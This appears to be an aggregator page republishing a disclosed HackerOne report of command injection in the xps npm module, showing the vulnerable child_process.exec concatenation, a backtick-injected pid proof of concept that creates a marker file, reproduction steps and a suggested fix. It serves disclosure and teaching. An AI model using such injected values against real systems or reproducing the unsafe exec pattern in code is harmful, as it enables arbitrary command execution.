Skip to content
RCE Disclosed report Beginner

[xps] Command Injection via insecure command concatenation

The xps npm module builds a shell command by concatenating the caller-supplied process id into a string passed to child_process.exec, without proper sanitisation. An attacker who can control that argument could run arbitrary commands on the machine running the code.

d3lla Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 13 hours
  • Fixed in 3 months
  • Disclosed after 3 months

I would like to report a Command Injection issue in the xps module. It allows to execute arbitrary commands on the victim's PC.

Module

module name: xps version: 1.0.2 npm page: https://www.npmjs.com/package/xps

Module Description

xps is a cross-platform library for listing and killing processes.

Module Stats

[10] weekly downloads

Vulnerability

Vulnerability Description

The issue occurs because a user input parameter is used inside a command that is executed without any check.

Here's the code which causes the issue:

JavaScript
// https://github.com/robotlolita/xps/blob/master/lib/linux.js#L48
...
var shell = require('./utils').shell;
... 
exports.kill = kill;
function kill(pid) {
  return shell('kill', ['-9', pid]).map(K(undefined));  // <-- user's input
}

// --------------------------------------------------
// https://github.com/robotlolita/xps/blob/master/lib/utils.js#L26
...
var exec    = require('child_process').exec;
...
var escapeArg = JSON.stringify;
...
exports.shell = shell;
function shell(cmd, args) {
  var command = cmd + ' ' + args.map(unary(compose(escapeArg)(String))).join(' '); // <-- injection
  return new Task(function(reject, resolve) {
    exec(command, function(error, stdout, stderr) {
      if (error)  reject(error);
      else        resolve({ output: stdout, error: stderr });
    });
  });
}

The argument pid is used to build the command that is passed to the child_process.exec function without any sanitization.

Steps To Reproduce:

  • create a directory for testing

    • mkdir poc
    • cd poc/
  • install xps module:

    • npm i xps
  • create the following PoC JavaScript file (poc.js):

JavaScript
const ps = require('xps');
ps.kill('`touch HACKED;`').fork();
  • make sure that the HACKED file does not exist:
    • ls
  • execute the poc.js file:
    • node poc.js
  • the HACKED file is created:
    • ls
poc_xps.mov From the original on HackerOne

Patch

Do not concatenate/format commands using insecure user's input. Always check and sanitize it. In my opinion, it's better to use child_process.execFile or child_process.spawn functions instead of child_process.exec. In this case it could be helpful to parse the pid as integer (var pid = parseInt(pid)).

Supporting Material/References:

  • OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
  • NODEJS VERSION: v14.1.0
  • NPM VERSION: 6.14.4

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Thank you for your time.

best regards,

d3lla

Impact

Command Injection on a xps module via insecure command concatenation.

The original report as published on HackerOne, by d3lla. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the process id is concatenated into a shell command string and run through child_process.exec, so shell metacharacters in the value are interpreted rather than treated as plain data.

Impact

Command injection in the xps module could let an attacker execute arbitrary commands on the victim's PC, though only where the attacker can influence the process id passed to the library.

What the attacker needed

Attacker controls the pid argument; victim runs code using the xps module

How it was found

  1. Create a test directory and install the xps module.
  2. Write a small script that calls the kill function with a crafted process id value.
  3. Confirm the marker file does not exist yet.
  4. Run the script with node.
  5. Observe that the marker file has been created.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This library is meant to stop a running program when you give it that program's number (its process id). Instead of passing the number safely, it glues it into a text command that the operating system then runs, so extra characters in the number can make the computer run other commands too. Anyone who can supply that value could run their own commands on the victim's machine.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by d3lla

View all

16 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.